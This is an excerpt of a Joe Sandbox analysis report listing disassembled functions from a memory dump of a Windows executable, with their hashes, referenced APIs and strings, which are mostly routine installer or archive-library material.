Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063370d9e2e9571dc593e8358d008e0ec5385ad0435e9f2f5019d46da215c13b
Instruction ID: 77440548732f795ef4e7d84f25594f4663a73ebe2a67ce41d289d08d40dd43b8
Opcode Fuzzy Hash: 063370d9e2e9571dc593e8358d008e0ec5385ad0435e9f2f5019d46da215c13b
Instruction Fuzzy Hash: FEC18BB7F281908FE350CF6AE440A9D3BB1F39878CB515125EF69A3B09D639E645CB40

Function 00007FF6FE1A2D58 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 602477e063b5c1ca901f2159ae3c7fc010244aaa433e93e1960e83d539d05e76
Instruction ID: 557ad07ce5d51b527a56837c03588ed8bc64be5999fc3e8d502589dfa59cff04
Opcode Fuzzy Hash: 602477e063b5c1ca901f2159ae3c7fc010244aaa433e93e1960e83d539d05e76
Instruction Fuzzy Hash: 4AA14373E4818246EB25CA26D4447FD2A81EBF1B44F054235EE6E877C6EE3CE889D300

Function 00007FF6FE19AF18 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f156a61251d3696a660eff3e2c5499dd818c979554cbf7ea7c30eccab92618
Instruction ID: af06a4cde0e9f831df26cb079ef1f0806e0dec9d91a89c9f48a4d86b74475d69
Opcode Fuzzy Hash: e3f156a61251d3696a660eff3e2c5499dd818c979554cbf7ea7c30eccab92618
Instruction Fuzzy Hash: B5C11677E291E44DE302CBB6A4248FD3FB1E75E30DB4A4251EFA656B4ED5285201DB20

Function 00007FF6FE18A310 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: ba0d91b71a6ba36ace61fab0c0f7d4922daa1e3f8d028e3e8b3457ff5b2a4fa0
Instruction ID: d0560f3a76d77e63af34ad175d523b3780227651dc30b0b8d08bfb1eec149850
Opcode Fuzzy Hash: ba0d91b71a6ba36ace61fab0c0f7d4922daa1e3f8d028e3e8b3457ff5b2a4fa0
Instruction Fuzzy Hash: D4910F62F1858196EB11CF2AD4516ED6B21FFA5B88F441131FF5E87B89EE38E646C300

Function 00007FF6FE19B534 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd80b8924012b3a81ce264cde7180753b201b1e387c519ebd9873ce58afa85e
Instruction ID: 7248d81ca72f140214642db65af8d26d7bf812407c02b83b3db55bdaf6d9d898
Opcode Fuzzy Hash: cfd80b8924012b3a81ce264cde7180753b201b1e387c519ebd9873ce58afa85e
Instruction Fuzzy Hash: DB613A63F085D549EB21CF7685008FD7FB1E7A9784B454132EEAA9368AEE3CE505CB10

Function 00007FF6FE1A21D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8137a9b05b05aada6fbcd6bbdda66db02b1ef4637fe403d2df7c72722ebbdea5
Instruction ID: 3908e9e529f214a1db7aea94a12623dc752c796bb1023c770b4b209b69e4b4cd
Opcode Fuzzy Hash: 8137a9b05b05aada6fbcd6bbdda66db02b1ef4637fe403d2df7c72722ebbdea5
Instruction Fuzzy Hash: 8351E073E181514BE728CF2AA0147BD3B52FBE4B48F444135EA59876C9EE3DE549DB00

Function 00007FF6FE1A2AB0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525267a7f117e2089c634eae81b531c40420bccc1aa688f1dd99d62513960580
Instruction ID: 1ca0d0910f7ab9ee4b4137fa58ba3083a1b7bc6417cc7e9e86c414c32459af84
Opcode Fuzzy Hash: 525267a7f117e2089c634eae81b531c40420bccc1aa688f1dd99d62513960580
Instruction Fuzzy Hash: 8E31D2A2E085914BD718CE2795906BE7B91B7D4780F048139EF5AC3B81EE3CE055C700

Function 00007FF6FE19DC70 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4fac86f8f1a6b9d8c17b4c2881c5c96027003405599c7815143c772f625e0d
Instruction ID: 118b66d465a846eb5efcdb52d680f7976dce2da694b4100fea783c8acaf615f8
Opcode Fuzzy Hash: 6a4fac86f8f1a6b9d8c17b4c2881c5c96027003405599c7815143c772f625e0d
Instruction Fuzzy Hash: 65F0FE65F1C00B42FB68802A581933D18569BB1310FD4883DF13FC62CDFDADE8815209

Function 00007FF6FE1B3354 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e57e15d0ab639cfe726454a8769b7378f2b682ff734fe90589bfb13db1bf513a
Instruction ID: 38aaadc824a44f066c8e88fedce7b6d6ca36ebf22ab4908d8c9332b0778b1b08
Opcode Fuzzy Hash: e57e15d0ab639cfe726454a8769b7378f2b682ff734fe90589bfb13db1bf513a
Instruction Fuzzy Hash: AAA00161E08842D0E745CB16E8A04B12A20BBA0700B502031F02DC15E4AE7CA4128204

Function 00007FF6FE18D7D0 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 98COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18D964

Strings

::$LOGGED_UTILITY_STREAM, xrefs: 00007FF6FE18D85F
::$REPARSE_POINT, xrefs: 00007FF6FE18D88B
::$BITMAP, xrefs: 00007FF6FE18D807
::$OBJECT_ID, xrefs: 00007FF6FE18D880
:$EFS:$LOGGED_UTILITY_STREAM, xrefs: 00007FF6FE18D86A
::$INDEX_ROOT, xrefs: 00007FF6FE18D854
::$EA, xrefs: 00007FF6FE18D81D
:$I30:$INDEX_ALLOCATION, xrefs: 00007FF6FE18D849
::$ATTRIBUTE_LIST, xrefs: 00007FF6FE18D7FC
::$DATA, xrefs: 00007FF6FE18D812
::$EA_INFORMATION, xrefs: 00007FF6FE18D828
::$FILE_NAME, xrefs: 00007FF6FE18D833
::$INDEX_ALLOCATION, xrefs: 00007FF6FE18D83E
:$TXF_DATA:$LOGGED_UTILITY_STREAM, xrefs: 00007FF6FE18D875

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: :$EFS:$LOGGED_UTILITY_STREAM$:$I30:$INDEX_ALLOCATION$:$TXF_DATA:$LOGGED_UTILITY_STREAM$::$ATTRIBUTE_LIST$::$BITMAP$::$DATA$::$EA$::$EA_INFORMATION$::$FILE_NAME$::$INDEX_ALLOCATION$::$INDEX_ROOT$::$LOGGED_UTILITY_STREAM$::$OBJECT_ID$::$REPARSE_POINT
API String ID: 3668304517-727060406
Opcode ID: 9722f19d9730c17eaeca2eefbf6c05556aeae8c55d78850e8e2a1aeae63cce70
Instruction ID: 2dca5259fa37506eda555c91edf7e38ddd851a005f951c396f20fae8e3d3e660
Opcode Fuzzy Hash: 9722f19d9730c17eaeca2eefbf6c05556aeae8c55d78850e8e2a1aeae63cce70
Instruction Fuzzy Hash: B741DA36F05B0599EB00CF66D4803E937A9FB98798F400136EA6D837A4EF38E159C344

Function 00007FF6FE1B2A10 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF6FE1B2A26
GetModuleHandleW.KERNEL32 ref: 00007FF6FE1B2A33
GetModuleHandleW.KERNEL32 ref: 00007FF6FE1B2A48
GetProcAddress.KERNEL32 ref: 00007FF6FE1B2A60
GetProcAddress.KERNEL32 ref: 00007FF6FE1B2A73
CreateEventW.KERNEL32 ref: 00007FF6FE1B2A9F
DeleteCriticalSection.KERNEL32 ref: 00007FF6FE1B2AEB
CloseHandle.KERNEL32 ref: 00007FF6FE1B2AFD

Strings

kernel32.dll, xrefs: 00007FF6FE1B2A41
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF6FE1B2A2C
WakeAllConditionVariable, xrefs: 00007FF6FE1B2A66
SleepConditionVariableCS, xrefs: 00007FF6FE1B2A56

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 6e1e709f092c3aabc6fb1c9db3d7c09c3ef1a4a7bf2af41e7ac9402dec2f511f
Instruction ID: 1bde42bd04a3a15753a4b55bfbb5c2f10e5c1619892bd56892628a4175fa29da
Opcode Fuzzy Hash: 6e1e709f092c3aabc6fb1c9db3d7c09c3ef1a4a7bf2af41e7ac9402dec2f511f
Instruction Fuzzy Hash: CF21EE64F19A5385EB55DB67E8555B52BA0AFE4B80F481435F92EC2BE0FF3CB449C200

Function 00007FF6FE196A0C Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1970A6

Part of subcall function 00007FF6FE182004: std::_Xinvalid_argument.LIBCPMT ref: 00007FF6FE18200F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1970B2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1970B8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1970C4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1970D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1970DC

Strings

DXGIDebug.dll, xrefs: 00007FF6FE196A18
\\?\, xrefs: 00007FF6FE196A57, 00007FF6FE196A66
UNC, xrefs: 00007FF6FE196BBF

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: DXGIDebug.dll$UNC$\\?\
API String ID: 4097890229-4048004291
Opcode ID: 2db35b7fd120c14e1a3842301d791596da2df3f6a2df10038d8e32577e88f225
Instruction ID: 05a10a7edc481aee13b3b798f2427b5eeab4eaf49d992f93fa38004e2e796e63
Opcode Fuzzy Hash: 2db35b7fd120c14e1a3842301d791596da2df3f6a2df10038d8e32577e88f225
Instruction Fuzzy Hash: FF12C222F09B4280EB10DB66D4441AD6B71EBE5B98F504236EB6D87BE9EF3CD549C340

Function 00007FF6FE1A6E80 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6FE1A7E9B), ref: 00007FF6FE1A7080
CreateStreamOnHGlobal.COMBASE ref: 00007FF6FE1A70B1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A717B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A7181
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A7187

Strings

</html>, xrefs: 00007FF6FE1A6F72, 00007FF6FE1A6F81
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF6FE1A6F2C, 00007FF6FE1A6F3B
<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF6FE1A6ED5, 00007FF6FE1A6EE4
<html>, xrefs: 00007FF6FE1A6F13

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Global$AllocCreateStream
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2868844859-1533471033
Opcode ID: b0a568968ba406e2562f5405558042a856f124114ebc2f236df8f8f8fbeda86d
Instruction ID: 788e51f0876ae6c4c76205ad5f28489e8ac754d51282fdbf1fc3f4e9c45cec97
Opcode Fuzzy Hash: b0a568968ba406e2562f5405558042a856f124114ebc2f236df8f8f8fbeda86d
Instruction Fuzzy Hash: 29817F62F19A4285FB01DBA6D4401FD2B71AFA9B94F404135EE2D976EAFE38D50AC340

Function 00007FF6FE1BE650 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BE7CD

Strings

nan(snan), xrefs: 00007FF6FE1BE6F0
nan, xrefs: 00007FF6FE1BE6B8
nan(ind), xrefs: 00007FF6FE1BE706
INF, xrefs: 00007FF6FE1BE6C3
NAN(SNAN), xrefs: 00007FF6FE1BE6E5
inf, xrefs: 00007FF6FE1BE6D6
NAN(IND), xrefs: 00007FF6FE1BE6FB
NAN, xrefs: 00007FF6FE1BE6B1

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: ca8329083cbd7a022b2adefca7a3bb58d0ae1dff90efa4c28dbe4d3f14657870
Instruction ID: 5e3f56b4c28cf03e2cf16aca26512414fee8543b6811e768e5e84e669fea7ce2
Opcode Fuzzy Hash: ca8329083cbd7a022b2adefca7a3bb58d0ae1dff90efa4c28dbe4d3f14657870
Instruction Fuzzy Hash: C341A072F09B4589E704CF26E8417E93BA4EBA8394F014536EE6D83B94EE3CD425C344

Function 00007FF6FE1AF390 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF6FE1AF3CF
GetClassNameW.USER32 ref: 00007FF6FE1AF3FC
GetWindowLongPtrW.USER32 ref: 00007FF6FE1AF41D
SendMessageW.USER32 ref: 00007FF6FE1AF437
GetObjectW.GDI32 ref: 00007FF6FE1AF452
SendMessageW.USER32 ref: 00007FF6FE1AF487
DeleteObject.GDI32 ref: 00007FF6FE1AF490
GetWindow.USER32 ref: 00007FF6FE1AF49E

Strings

STATIC, xrefs: 00007FF6FE1AF402

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction ID: 892da3028adf5cd44320597d57179b4b4adcab2e8ecc41e2dd1bab7678f960a0
Opcode Fuzzy Hash: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction Fuzzy Hash: 52315225F08A4246FB60DB13A9547BA6B91ABE9BD0F040434FD6D87BD5EE3CE4498740

Function 00007FF6FE1AAE90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF6FE1AAEAE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ItemTextWindow
String ID: LICENSEDLG
API String ID: 2478532303-2177901306
Opcode ID: 35fefc179f922e98870b8a3b257cf5e504c5ed53f195972dc606f5139ed8380b
Instruction ID: 0fb30094362acfa5d0ae684aeaad5c8e563b6e6657fe18acd111204aa12e1a12
Opcode Fuzzy Hash: 35fefc179f922e98870b8a3b257cf5e504c5ed53f195972dc606f5139ed8380b
Instruction Fuzzy Hash: CC416325E08A5282FB64CB17E8547791BA1AFE4F84F044135F92E83BD4EF7CE54A8300

Function 00007FF6FE19B9B4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6FE19BA12
GetProcAddress.KERNEL32 ref: 00007FF6FE19BA2D
GetCurrentProcessId.KERNEL32 ref: 00007FF6FE19BACA

Part of subcall function 00007FF6FE19DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6FE19DDDF

Strings

CryptProtectMemory, xrefs: 00007FF6FE19BA08
CryptProtectMemory failed, xrefs: 00007FF6FE19BA80
CryptUnprotectMemory, xrefs: 00007FF6FE19BA1F
Crypt32.dll, xrefs: 00007FF6FE19B9F0
CryptUnprotectMemory failed, xrefs: 00007FF6FE19BAC1

Memory Dump Source

